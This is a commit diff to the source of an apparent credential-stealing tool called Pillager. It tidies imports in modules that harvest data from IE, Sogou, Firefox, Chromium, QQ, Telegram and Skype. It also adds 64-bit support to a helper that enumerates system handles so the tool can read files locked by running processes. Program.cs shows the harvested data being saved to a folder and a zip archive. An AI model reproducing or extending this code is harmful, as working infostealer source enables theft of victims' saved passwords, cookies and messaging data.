Update LockedFile.cs

Pillager/Browsers/IE.cs

@@ -3,7 +3,6 @@ using Pillager.Helper;
 using System;
 using System.Collections.Generic;
 using System.IO;
-using System.Net;
 using System.Reflection;
 using System.Runtime.InteropServices;
 using System.Text;

Pillager/Browsers/OldSogou.cs

@@ -1,6 +1,5 @@
 using Pillager.Helper;
 using System;
-using System.Collections.Generic;
 using System.IO;
 using System.Security.Cryptography;
 using System.Text;

Pillager/Helper/LockedFile.cs

@@ -2,7 +2,6 @@
 using System.Collections.Generic;
 using System.IO;
 using System.Runtime.InteropServices;
-using System.Text;
 
 namespace Pillager.Helper
 {
@@ -48,9 +47,24 @@ namespace Pillager.Helper
                     Marshal.FreeHGlobal(ptrHandleData);
                     ptrHandleData = Marshal.AllocHGlobal(nLength);
                 }
+                if (IntPtr.Size == 8)
+                {
+                    int handle_count = Marshal.ReadIntPtr(ptrHandleData).ToInt32();
+                    IntPtr ptrHandleItem = new IntPtr(ptrHandleData.ToInt64() + IntPtr.Size);
 
-                long handle_count = Marshal.ReadIntPtr(ptrHandleData).ToInt64();
+                    for (long lIndex = 0; lIndex < handle_count; lIndex++)
-                IntPtr ptrHandleItem = new IntPtr(ptrHandleData.ToInt32() + Marshal.SizeOf(ptrHandleData));
+                    {
+                        Native.SYSTEM_HANDLE_INFORMATION oSystemHandleInfo = new Native.SYSTEM_HANDLE_INFORMATION();
+                        oSystemHandleInfo = (Native.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ptrHandleItem, oSystemHandleInfo.GetType());
+                        ptrHandleItem = new IntPtr(ptrHandleItem.ToInt64() + Marshal.SizeOf(oSystemHandleInfo.GetType()));
+                        if (oSystemHandleInfo.ProcessID != pid) { continue; }
+                        aHandles.Add(oSystemHandleInfo);
+                    }
+                }
+                else
+                {
+                    int handle_count = Marshal.ReadIntPtr(ptrHandleData).ToInt32();
+                    IntPtr ptrHandleItem = new IntPtr(ptrHandleData.ToInt32() + IntPtr.Size);
 
                     for (long lIndex = 0; lIndex < handle_count; lIndex++)
                     {
@@ -61,6 +75,7 @@ namespace Pillager.Helper
                         aHandles.Add(oSystemHandleInfo);
                     }
                 }
+            }
             catch (Exception ex)
             {
                 throw ex;
@@ -75,11 +90,15 @@ namespace Pillager.Helper
         private static string TryGetName(IntPtr Handle)
         {
             Native.IO_STATUS_BLOCK status = new Native.IO_STATUS_BLOCK();
-            uint bufferSize = 32 * 1024;
+            uint bufferSize = 1024;
             var bufferPtr = Marshal.AllocHGlobal((int)bufferSize);
             Native.NtQueryInformationFile(Handle, ref status, bufferPtr, bufferSize, Native.FILE_INFORMATION_CLASS.FileNameInformation);
             var nameInfo = (Native.FileNameInformation)Marshal.PtrToStructure(bufferPtr, typeof(Native.FileNameInformation));
-            return Marshal.PtrToStringUni(new IntPtr(bufferPtr.ToInt32() + 4), nameInfo.NameLength / 2);
+            if (nameInfo.NameLength > bufferSize || nameInfo.NameLength <= 0)
+            {
+                return null;
+            }
+            return Marshal.PtrToStringUni(new IntPtr((IntPtr.Size == 8 ? bufferPtr.ToInt64() : bufferPtr.ToInt32()) + 4), nameInfo.NameLength / 2);
         }
 
         public static IntPtr FindHandleByFileName(Native.SYSTEM_HANDLE_INFORMATION systemHandleInformation, string filename, IntPtr processHandle)
@@ -116,10 +135,8 @@ namespace Pillager.Helper
                     Marshal.FreeHGlobal(objectTypeInfo);
                 }
             }
-            catch (Exception ex)
+            catch { }
-            {
+
-                Console.WriteLine(ex.Message);
-            }
             return IntPtr.Zero;
         }
 
@@ -127,7 +144,6 @@ namespace Pillager.Helper
         {
             IntPtr handle = IntPtr.Zero;
             List<Native.SYSTEM_HANDLE_INFORMATION> syshInfos = GetHandles(pid);
-
             IntPtr processHandle = GetProcessHandle(pid);
 
             for (int i = 0; i < syshInfos.Count; i++)
@@ -176,12 +192,17 @@ namespace Pillager.Helper
 
                 IntPtr readBuffer = bufferPtr;
                 int numEntries = Marshal.ReadInt32(readBuffer); // NumberOfProcessIdsInList
+                if (IntPtr.Size == 8)
+                    readBuffer = new IntPtr(readBuffer.ToInt64() + IntPtr.Size);
+                else
                     readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
-
                 for (int i = 0; i < numEntries; i++)
                 {
-                    int processId = Marshal.ReadIntPtr(readBuffer).ToInt32(); // A single ProcessIdList[] element
+                    IntPtr processId = Marshal.ReadIntPtr(readBuffer); // A single ProcessIdList[] element
-                    result.Add(processId);
+                    result.Add(processId.ToInt32());
+                    if (IntPtr.Size == 8)
+                        readBuffer = new IntPtr(readBuffer.ToInt64() + IntPtr.Size);
+                    else
                         readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
                 }
             }

Pillager/IM/QQ.cs

@@ -1,7 +1,5 @@
 using System;
-using System.Collections.Generic;
 using System.IO;
-using System.Linq;
 using System.Net;
 using System.Text;
 

Pillager/IM/Skype.cs

@@ -1,9 +1,6 @@
 using Pillager.Helper;
 using System;
-using System.Collections.Generic;
 using System.IO;
-using System.Linq;
-using System.Net;
 using System.Text;
 
 namespace Pillager.IM

Pillager/IM/Telegram.cs

@@ -1,10 +1,5 @@
-using Pillager.Helper;
+using System;
-using System;
-using System.Collections.Generic;
 using System.IO;
-using System.Linq;
-using System.Text;
-using System.Text.RegularExpressions;
 
 namespace Pillager.IM
 {

Pillager/Program.cs

@@ -17,22 +17,15 @@ namespace Pillager
             if (File.Exists(savezippath)) File.Delete(savezippath);
             Directory.CreateDirectory(savepath);
 
+            //IM
             QQ.Save(savepath);
-
             Telegram.Save(savepath);
-
             Skype.Save(savepath);
 
-            //IE
+            //Browser
             IE.Save(savepath);
-
+            OldSogou.Save(savepath);//SogouExplorer < 12.x
-            //SogouExplorer < 12.x
-            OldSogou.Save(savepath);
-
-            //FireFox
             FireFox.Save(savepath);
-
-            //Chrome
             List<List<string>> browserOnChromium = new List<List<string>>()
             {
                 new List<string>() { "Chrome", "Google\\Chrome\\User Data\\Default" } ,